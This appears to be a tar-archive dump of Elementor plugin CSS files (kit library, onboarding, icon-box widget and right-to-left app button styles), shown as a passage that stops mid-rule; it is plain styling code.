.eps-search-input{background:var(--e-kit-library-tags-filter-list-search-background-color)}.e-kit-library__tags-filter-list-item{padding:.625rem 0;display:flex;align-items:center;font-weight:500}.e-kit-library__tags-filter-list-item input{margin-inline-end:.3125rem}.e-kit-library #eps-app-header-btn-refetch{padding:0}.e-kit-library-header-info-modal-container{margin-block-end:2.75rem}.e-kit-library__tooltip{padding:5px 12px;color:#fff;background-color:#26292c;font-size:10px}.e-kit-library__tooltip:before{border-block-end-color:#26292c}.e-kit-library__index-layout-container{flex-grow:1;overflow-y:auto;display:flex;flex-direction:column}.e-kit-library__index-layout-heading{padding:1.875rem 2.75rem;position:sticky;top:-1px;width:100%;z-index:2;background-color:var(--app-background-color);gap:1.5rem}.e-kit-library__index-layout-heading-search,.e-kit-library__index-layout-heading-sort{min-width:265px}.e-kit-library__index-layout-heading-search{flex:1}.e-kit-library__index-layout-main{padding-block-start:0;padding-block-end:1.5rem;overflow-y:hidden;height:auto;flex:1 0 auto;display:flex;flex-direction:column;justify-content:space-between}.e-kit-library__tags-filter{--e-kit-library-item-sidebar-header-title-color:#515962;--e-kit-library-item-sidebar-description-color:#515962;--e-kit-library-item-information-text-color:#515962}.eps-theme-dark .e-kit-library__tags-filter{--e-kit-library-item-sidebar-header-title-color:#babfc5;--e-kit-library-item-sidebar-description-color:#babfc5;--e-kit-library-item-information-text-color:#babfc5}.e-kit-library__item-sidebar{padding:1.5rem 1.875rem}.e-kit-library__item-sidebar-header{display:flex;align-items:center;justify-content:space-between}.e-kit-library__item-sidebar-header-title{color:var(--e-kit-library-item-sidebar-header-title-color);margin-block-end:0}.e-kit-library__item-sidebar-thumbnail{margin-block-start:1.5rem;box-shadow:0 4px 10px var(--color-box-shadow-color)}.e-kit-library__item-sidebar-description{margin-block-start:1.5rem;color:var(--e-kit-library-item-sidebar-description-color)}.e-kit-library__item-sidebar-collapse-tags{margin-block-start:2.75rem}.e-kit-library__item-sidebar-collapse-info{margin-block-start:1.875rem}.e-kit-library__item-sidebar-tags-container{gap:.625rem}.e-kit-library__item-information-text{font-size:.8125rem;color:var(--e-kit-library-item-information-text-color);margin-block-end:.3125rem}.e-kit-library{--e-kit-library-content-overview-group-title-color:#515962}.eps-theme-dark .e-kit-library{--e-kit-library-content-overview-group-title-color:#babfc5}.e-kit-library__content-overview-group-item{margin-block-end:2.75rem}.e-kit-library__content-overview-group-title{margin-block-end:1.875rem;color:var(--e-kit-library-content-overview-group-title-color)}.e-kit-library__preview-responsive-controls{width:auto}.e-kit-library__preview-responsive-controls-item{margin:0 .3125rem;color:#69727d;padding:.3125rem}.e-kit-library__preview-responsive-controls-item:hover{background:rgba(37,99,235,.1);border-radius:3px;transition:all .3s}.e-kit-library__preview-responsive-controls-item--active{color:#2563eb}.e-kit-library__preview-loader{position:absolute;top:0;right:0;z-index:0}.e-kit-library__preview-iframe{border:none;transition:all .3s;box-shadow:0 4px 10px var(--color-box-shadow-color)}.e-kit-library__preview-iframe-container{overflow-y:auto;position:relative;z-index:1}.e-app-collapse{--e-app-collapse-icon-color:#515962}.e-app-collapse-toggle{position:relative}.e-app-collapse-toggle--active{cursor:pointer}.e-app-collapse-toggle__icon{color:var(--e-app-collapse-icon-color);display:flex;align-items:center;justify-content:center;font-size:.875rem;position:absolute;top:50%;left:var(--e-app-collapse-toggle-icon-spacing);transform:translateY(-50%)}.e-app-collapse-toggle__icon:before{transition:all .2s linear}.e-app-collapse-content{display:none}.e-app-collapse--opened .e-app-collapse-toggle__icon:before{transform:rotate(-180deg)}.e-app-collapse--opened .e-app-collapse-content{display:block}[dir=rtl] .e-app-collapse-toggle__icon{left:auto;right:var(--e-app-collapse-toggle-icon-spacing)}.eps-theme-dark .e-app-collapse{--e-app-collapse-icon-color:#babfc5}.e-app-import-plugins{--e-app-import-plugins-selection-section-heading-color:#515962;padding-block-end:1.5rem}.e-app-import-plugins__section{margin-block-start:1.875rem}.e-app-import-plugins__section-heading{color:var(--e-app-import-plugins-selection-section-heading-color);margin-block-end:1rem}.e-app-import-plugins__versions-notice{margin-block-end:.75rem}.eps-theme-dark .e-app-import-plugins{--e-app-import-plugins-selection-section-heading-color:#babfc5}.eps-table{--eps-table-body-color:#3f444b;border-spacing:0 2px;table-layout:fixed;width:100%;border:1px solid var(--e-a-border-color);border-radius:.1875rem}.eps-table__checkboxes-column{width:1.875rem}.eps-table__checkbox{display:flex;flex-shrink:0}.eps-table__cell{padding:1rem}.eps-table__head .eps-table__cell{text-align:start}.eps-table__row{border-block-end:1px solid var(--e-a-border-color)}.eps-table__row:last-child{border-block-end:none}.eps-table__body .eps-table__cell:first-child{border-radius:.1875rem 0 0 .1875rem}.eps-table__body .eps-table__cell:last-child{border-radius:0 .1875rem .1875rem 0}.eps-table--selection .eps-table__cell:first-child{padding-inline-end:0}.eps-theme-dark .eps-table{--eps-table-body-color:#babfc5}[dir=rtl] .eps-table__body [dir=rtl] .eps-table__cell:first-child{border-radius:0 .1875rem .1875rem 0}[dir=rtl] .eps-table__body [dir=rtl] .eps-table__cell:last-child{border-radius:.1875rem 0 0 .1875rem}.e-app-import-plugins-pro-banner{--e-app-import-plugins-pro-banner-heading-color:#3f444b;--e-app-import-plugins-pro-banner-description-color:#515962;margin-block-end:1.875rem}.e-app-import-plugins-pro-banner__heading{color:var(--e-app-import-plugins-pro-banner-heading-color);margin-block-end:.625rem}.e-app-import-plugins-pro-banner__description{color:var(--e-app-import-plugins-pro-banner-description-color);margin-block-end:0}.eps-theme-dark .e-app-import-plugins-pro-banner{--e-app-import-plugins-pro-banner-heading-color:#9da5ae;--e-app-import-plugins-pro-banner-description-color:#babfc5}.e-app-export-plugins,.e-app-import-content{padding-block-end:1.25rem}.e-app-import-content__plugins-notice{margin-block-end:1.25rem}.e-app-import-plugins-activation__installing-plugins{padding:.625rem 0}.e-app-import-plugins-activation__plugin-name{margin-inline-start:.5rem}.e-app-import-plugins-activation__plugin-status-item{margin-block-end:.75rem}.e-app-import-export-plugins-table__cell-content{margin-block-end:0;text-transform:capitalize}.e-app-import-export-loader{--e-app-import-export-loader-color:#818a96;color:var(--e-app-import-export-loader-color);font-size:50px}.e-app-import-export-loader.eicon-loading{font-size:1.85rem}.e-app-import-export-loader--absolute-center{position:absolute;top:50%;right:50%;transform:translateX(-50%) translateY(-50%)}.eps-theme-dark .e-app-import-export-loader{--e-app-import-export-loader-color:#818a96}.e-app-import-export-message-banner{--e-app-import-export-message-banner-heading-color:#3f444b;--e-app-import-export-message-banner-description-color:#515962;margin-block-end:1.875rem}.e-app-import-export-message-banner__heading{color:var(--e-app-import-export-message-banner-heading-color);margin-block-end:.625rem}.e-app-import-export-message-banner__description{color:var(--e-app-import-export-message-banner-description-color);margin-block-end:0}.eps-theme-dark .e-app-import-export-message-banner{--e-app-import-export-message-banner-heading-color:#9da5ae;--e-app-import-export-message-banner-description-color:#babfc5}.e-app-import-connect-pro-notice,.e-app-import-failed-plugins-notice{margin-block-end:1.25rem}.e-onboarding{font-family:DM Sans,Roboto,sans-serif;color-scheme:light}.e-onboarding .eps-app__main{justify-content:center;overflow-y:auto}.e-onboarding__content{max-width:1135px;padding:2.75rem;margin:initial;overflow-y:initial}.e-onboarding__checkbox-label{display:flex;line-height:18px;margin-block-end:27px}.e-onboarding__checkbox-input{margin-inline-end:14px;width:16px;height:16px;border-color:#69727d;border-radius:2px}.e-onboarding__checkbox-input:checked{background-color:#525861}.e-onboarding__checkbox-input:checked:after{margin-block-end:15%;width:6px;height:9px;border-width:0 2px 2px 0}.e-onboarding__feature-list{margin-block-end:40px}.e-onboarding__text-input{font-size:14px;width:325px;padding:12px 16px;color:#69727d;border:1px solid #9ea5ad}.e-onboarding__text-input:focus-visible{outline:initial;border:1px solid #3a3f45}.e-onboarding__text-input::-moz-placeholder{color:#c2c7cc}.e-onboarding__text-input::placeholder{color:#c2c7cc}.e-onboarding__footnote{margin-block-start:24px;width:325px;text-align:center}.e-onboarding__footnote a{text-decoration:underline;color:#3a3f45}#e-app~#__wp-uploader-id-2 .media-modal{max-width:1024px;max-height:768px;margin:auto}.e-onboarding__page-content{margin-block-end:70px}.e-onboarding__page-content-start{max-width:675px;text-align:start;flex-basis:555px;align-self:start}.e-onboarding__page-content-end{min-width:440px;max-width:540px}.e-onboarding__page-content-end img{width:100%}.e-onboarding__page-content-section-title{font-family:"DM Serif Display",serif;font-size:36px;font-weight:700;color:#0c0d0e}.e-onboarding__page-content-section-text{font-size:18px;color:#3a3f45}.e-onboarding__header-logo .eps-app__logo{background-color:#0c0d0e;color:#fff;width:1.3rem;height:1.3rem;line-height:1.3rem;font-size:.48rem}.e-onboarding__header-logo .eps-app__logo:not(:last-child){margin-inline-end:7px}.e-onboarding__header-logo img{width:104px}.e-onboarding__header .eps-app__header-btn{display:flex;align-items:center;font-size:13px}.e-onboarding__header .eps-app__header-btn .eps-icon:not(:last-child){margin-inline-end:7px}.e-onboarding__header .eps-button{color:#0c0d0e}.e-onboarding__header .eps-button__go-pro-btn{background-color:#93003f;color:#fff;padding:4px 8px;border-radius:4px;font-weight:700;font-size:12px;transition:.5s}.e-onboarding__header .eps-button__go-pro-btn:hover{background:#c60055}.e-onboarding__go-pro{width:288px;font-size:12px;background-color:#fff}.e-onboarding__go-pro-title{font-size:18px;font-weight:700;color:#93003f}.e-onboarding__go-pro-cta{display:inline-block;color:#93003f;padding:9px;border:1px solid #93003f}.e-onboarding__go-pro-cta.e-onboarding__button{font-size:14px}.e-onboarding__go-pro-paragraph:not(:last-child){margin-block-end:20px}.e-onboarding__go-pro-already-have{text-decoration:underline}.e-onboarding__progress-bar{display:flex;justify-content:center;margin-block-end:125px}.e-onboarding__progress-bar-item{display:flex;align-items:center;color:#69727d;font-size:.75rem}.e-onboarding__progress-bar-item-icon{display:inline-block;font-family:"DM Serif Display",serif;text-align:center;width:1.1rem;height:1.1rem;line-height:1rem;font-size:.75rem;font-weight:700;border-radius:50%;border:1px solid #69727d;margin-inline-end:8px;flex-shrink:0}.e-onboarding__progress-bar-item:not(:last-child){margin-inline-end:22px}.e-onboarding__progress-bar-item:not(:last-child):after{font-family:eicons;margin-inline-start:22px;content:"\e89e"}.e-onboarding__progress-bar-item--active{color:#d004d4}.e-onboarding__progress-bar-item--active .e-onboarding__progress-bar-item-icon,.e-onboarding__progress-bar-item--completed .e-onboarding__progress-bar-item-icon{color:#fff;border-color:#d004d4;background-color:#d004d4}.e-onboarding__progress-bar-item--completed,.e-onboarding__progress-bar-item--skipped{cursor:pointer}.e-onboarding__progress-bar-item--skipped .e-onboarding__progress-bar-item-icon{color:#fff;background-color:#69727d}.e-onboarding__button{font-size:18px;cursor:pointer;transition:var(--e-a-transition-hover)}.e-onboarding__button-action{color:var(--e-a-btn-color);background-color:var(--e-a-btn-bg-primary);min-width:325px;padding:15px 30px;text-align:center}.e-onboarding__button-action:hover{background-color:var(--e-a-btn-bg-primary-hover)}.e-onboarding__button-skip{padding:8px 16px;color:#515962}.e-onboarding__button-skip:hover{background-color:#f9fafa}.e-onboarding__button--disabled{pointer-events:none;background-color:#d5d8dc;color:#9ea5ad}.e-onboarding__button--disabled:hover{cursor:progress}.e-onboarding__button--processing{pointer-events:none;filter:brightness(90%)}.e-onboarding__card{border:1px solid #3a3f45;border-radius:8px;padding:40px;cursor:pointer;flex-grow:1;display:flex;flex-direction:column;align-items:center}.e-onboarding__card-image,.e-onboarding__card-text{width:345px}.e-onboarding__card-image{margin-block-end:44px}.e-onboarding__card-text{font-size:20px;font-weight:700;text-align:center;color:#0c0d0e}.e-onboarding__card:hover{box-shadow:4px 4px 0 0 #000}.e-onboarding__card:active{box-shadow:none}.e-onboarding__checklist{padding-inline-start:0}.e-onboarding__checklist-item{display:flex;align-items:center;font-size:12px;margin-block-end:12px}.e-onboarding__checklist-item .eicon-check-circle{margin-inline-end:9px;font-size:16px;font-weight:600}.e-onboarding__notice{display:inline-block;padding:12px 14px;margin-block-end:16px;color:#3a3f45}.e-onboarding__notice--error{background-color:#fde8ec}.e-onboarding__notice--error i{font-size:16px;color:#b92136}.e-onboarding__notice--success{background-color:#ecf9f2}.e-onboarding__notice--success i{color:#117740}.e-onboarding__notice i{margin-inline-end:14px}.e-onboarding__notice-empty-spacer{height:61px}.e-onboarding__page-account .e-onboarding__checkbox-label{margin-block-start:50px}.e-onboarding__action-button-text{margin-inline-start:10px}.e-onboarding__site-name-input{margin-block-start:80px}.e-onboarding__page-siteLogo .e-app-upload-file__button{color:var(--e-a-color-primary-bold);border-color:var(--e-a-color-primary-bold)}.e-onboarding__page-siteLogo .e-app-upload-file__button:hover{background-color:#fae8ff}.e-onboarding__drop-zone{margin-block-start:3rem}.e-onboarding .eps-display-3{font-size:16px;margin-block-end:.5rem}.e-onboarding .e-app-upload-file__button{max-width:198px;margin:0 auto}.e-onboarding .e-app-drop-zone__secondary-text{font-size:14px}.e-onboarding__logo-container{position:relative;margin-block-start:3rem;min-height:120px;width:-moz-fit-content;width:fit-content;display:flex;align-items:center;justify-content:center;min-width:220px;border:1px solid #babfc5}.e-onboarding__logo-container img{height:auto;max-height:100%;width:auto}.e-onboarding__logo-remove{position:absolute;left:0;top:5px}.e-onboarding__logo-remove i{font-size:16px;width:15px}.e-onboarding__logo-remove:hover{cursor:pointer}.e-onboarding__is-uploading{visibility:hidden}.e-onboarding__page-goodToGo .e-onboarding__page-content-section-text,.e-onboarding__page-goodToGo .e-onboarding__page-content-section-title{text-align:center}.e-onboarding__cards-grid.e-onboarding__page-content{margin-block-start:48px;margin-block-end:48px}.e-onboarding__cards-grid .e-onboarding__card{max-width:555px}.e-onboarding__cards-grid .e-onboarding__card:not(:last-child){margin-inline-end:20px}.e-onboarding__good-to-go-footer{justify-content:end}.e-onboarding__upload-pro{flex-direction:row;justify-content:center;font-family:DM Sans,Roboto,sans-serif;text-align:center}.e-onboarding__upload-pro .eps-app__content{overflow-y:hidden;max-width:1113px;padding:30px}.e-onboarding__upload-pro-drop-zone{margin-block-end:24px}.e-onboarding__upload-pro-drop-zone h1{font-family:"Source Serif Pro",Roboto,sans-serif}.e-onboarding__upload-pro-drop-zone .e-app-drag-drop{padding:48px}.e-onboarding__upload-pro-drop-zone .e-app-drop-zone__secondary-text,.e-onboarding__upload-pro-drop-zone .e-app-drop-zone__text,.e-onboarding__upload-pro-drop-zone .eps-display-3{margin-block-end:12px}.e-onboarding__upload-pro-drop-zone .e-app-upload-file__button{background-color:#040080;color:#46f2b6;padding:14px 40px;border-color:#040080}.e-onboarding__upload-pro-get-file{font-size:12px;margin-block-start:24px}.e-onboarding__upload-pro-get-file a{text-decoration:underline}.e-onboarding__upload-pro .e-onboarding__notice{margin-block-end:0}.e-onboarding__choose-features-section{width:100%;display:flex;flex-wrap:wrap;gap:10px 20px;margin-block:20px}.e-onboarding__choose-features-section__label{display:flex;align-items:center;font-size:14px;font-weight:400;line-height:24px;letter-spacing:-.01em;-webkit-user-select:none;-moz-user-select:none;user-select:none;border:1px solid #d5d8dc;padding:12px 16px;width:267px}.e-onboarding__choose-features-section__checkbox{justify-self:end;margin-inline-end:8px;width:16px;height:16px}.e-onboarding__choose-features-section__message{font-size:18px;font-weight:400;line-height:27px;letter-spacing:-.01em;padding-inline-end:120px;min-height:55px;margin-block-end:20px}.e-onboarding__page-chooseFeatures .e-onboarding__page-content{margin-bottom:0}assets/css/widget-icon-box-rtl.min.css000064400000023556147206604650013755 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-icon-box .elementor-icon-box-wrapper{display:block;text-align:center}.elementor-widget-icon-box .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}@media (min-width:768px){.elementor-widget-icon-box.elementor-vertical-align-top .elementor-icon-box-wrapper{align-items:flex-start}.elementor-widget-icon-box.elementor-vertical-align-middle .elementor-icon-box-wrapper{align-items:center}.elementor-widget-icon-box.elementor-vertical-align-bottom .elementor-icon-box-wrapper{align-items:flex-end}}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}@media (min-width:-1){.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-widescreen-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-widescreen-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:-1){.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-laptop-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-laptop-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:-1){.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet_extra-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-tablet_extra-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:1024px){.elementor-widget-icon-box.elementor-tablet-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-tablet-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-tablet-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-tablet-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:-1){.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile_extra-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-mobile_extra-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:767px){.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-mobile-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-icon{display:block;flex:unset}}.elementor-widget-icon-box .elementor-icon-box-title a{color:inherit}.elementor-widget-icon-box .elementor-icon-box-content{flex-grow:1}.elementor-widget-icon-box .elementor-icon-box-description{margin:0}assets/css/app-rtl.css000064400000271510147206604650010747 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ @import "//fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap"; @import "//fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&display=swap"; @import "//fonts.googleapis.com/css2?family=Source%20Serif%20Pro&display=swap"; :root { --color-box-shadow-color: rgba(0, 0, 0, 0.05); } .eps-theme-dark { --color-box-shadow-color: rgba(0, 0, 0, 0.1); } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); white-space: nowrap; border: 0; } @media screen and (min-width: 480px) { .text-start-sm { text-align: start; } } @media screen and (min-width: 480px) { .text-center-sm { text-align: center; } } @media screen and (min-width: 480px) { .text-end-sm { text-align: end; } } @media screen and (min-width: 768px) { .text-start-md { text-align: start; } } @media screen and (min-width: 768px) { .text-center-md { text-align: center; } } @media screen and (min-width: 768px) { .text-end-md { text-align: end; } } @media screen and (min-width: 1025px) { .text-start-lg { text-align: start; } } @media screen and (min-width: 1025px) { .text-center-lg { text-align: center; } } @media screen and (min-width: 1025px) { .text-end-lg { text-align: end; } } @media screen and (min-width: 1440px) { .text-start-xl { text-align: start; } } @media screen and (min-width: 1440px) { .text-center-xl { text-align: center; } } @media screen and (min-width: 1440px) { .text-end-xl { text-align: end; } } @media screen and (min-width: 1600px) { .text-start-xxl { text-align: start; } } @media screen and (min-width: 1600px) { .text-center-xxl { text-align: center; } } @media screen and (min-width: 1600px) { .text-end-xxl { text-align: end; } } @keyframes eps-animation-pop { from { transform: scale(0.75); opacity: 0; } to { transform: scale(1); opacity: 1; } } /** TODO: The molecules, atoms and such generics should be at top level, so the styles will be not depended on the order. EG: '../../../app/assets/styles/generic'. Auto-import is designed for CSS that not dependent on the loading order. */ .eps-button { display: inline-flex; --button-line-height: 16px; --button-padding-y: 0.5em; --button-padding-x: 1.5em; --button-primary-background-color: #F3BAFD; --button-primary-hover-background-color: #F5D0FE; --button-primary-active-background-color: #F3BAFD; --button-primary-color: #0C0D0E; --button-secondary-background-color: #69727D; --button-secondary-hover-background-color: #525961; --button-secondary-active-background-color: #3a3f46; --button-secondary-color: #ffffff; --button-danger-background-color: #DC2626; --button-danger-hover-background-color: #b21d1d; --button-danger-active-background-color: #861616; --button-danger-color: #ffffff; --button-cta-background-color: #93003f; --button-cta-hover-background-color: #600029; --button-cta-active-background-color: #2d0013; --button-cta-color: #ffffff; --button-brand-background-color: #93003f; --button-brand-hover-background-color: #600029; --button-brand-active-background-color: #2d0013; --button-brand-color: #ffffff; --button-link-background-color: #515962; --button-link-hover-background-color: #3a4046; --button-link-active-background-color: #23262a; --button-link-color: #ffffff; --button-disabled-background-color: #D5D8DC; --button-disabled-hover-background-color: #b9bec5; --button-disabled-active-background-color: #9da4ae; --button-disabled-color: #ffffff; color: var(--button-background-color, currentColor); font-size: var(--button-font-size, inherit); font-weight: 500; line-height: var(--button-line-height); transition: var(--e-a-transition-hover); cursor: pointer; } .eps-button:active { --button-background-color: var(--button-active-background-color, transparent); } .eps-button:hover { --button-background-color: var(--button-hover-background-color); } .eps-theme-dark .eps-button { --button-primary-background-color: #F3BAFD; --button-primary-color: #0C0D0E; --button-primary-hover-background-color: #EB8EFB; --button-primary-active-background-color: #F3BAFD; --button-secondary-background-color: #BABFC5; --button-secondary-color: #fff; --button-secondary-hover-background-color: #9ea5ae; --button-secondary-active-background-color: #838c96; --button-cta-background-color: #93003f; --button-cta-hover-background-color: #600029; --button-cta-active-background-color: #2d0013; --button-cta-color: #fff; --button-brand-hover-background-color: #600029; --button-brand-active-background-color: #2d0013; --button-brand-color: #fff; --button-brand-background-color: #93003f; --button-link-background-color: #515962; --button-link-hover-background-color: #3a4046; --button-link-active-background-color: #23262a; --button-link-color: #ffffff; --button-disabled-background-color: #69727D; --button-disabled-hover-background-color: #525961; --button-disabled-active-background-color: #3a3f46; --button-disabled-color: #fff; } .eps-button--contained { color: var(--button-color); padding: var(--button-padding-y) var(--button-padding-x); background-color: var(--button-background-color, transparent); border: 1px solid var(--button-background-color); } .eps-button--contained:hover { color: var(--button-color); } .eps-button--outlined { display: block; padding: var(--button-padding-y) var(--button-padding-x); border: 1px solid var(--button-background-color); } .eps-button--contained, .eps-button--outlined { border-radius: 0.1875rem; } .eps-button--underlined { text-decoration: underline; } .eps-button--sm { --button-font-size: 0.75rem; --button-line-height: 14px; } .eps-button--lg { --button-font-size: 0.9375rem; --button-line-height: 18px; } .eps-button--primary { --button-color: var(--button-primary-color); --button-background-color: var(--button-primary-background-color); --button-hover-background-color: var(--button-primary-hover-background-color); --button-active-background-color: var(--button-primary-active-background-color); } .eps-button--secondary { --button-color: var(--button-secondary-color); --button-background-color: var(--button-secondary-background-color); --button-hover-background-color: var(--button-secondary-hover-background-color); --button-active-background-color: var(--button-secondary-active-background-color); } .eps-button--danger { --button-color: var(--button-danger-color); --button-background-color: var(--button-danger-background-color); --button-hover-background-color: var(--button-danger-hover-background-color); --button-active-background-color: var(--button-danger-active-background-color); } .eps-button--cta { --button-color: var(--button-brand-color); --button-background-color: var(--button-cta-background-color); 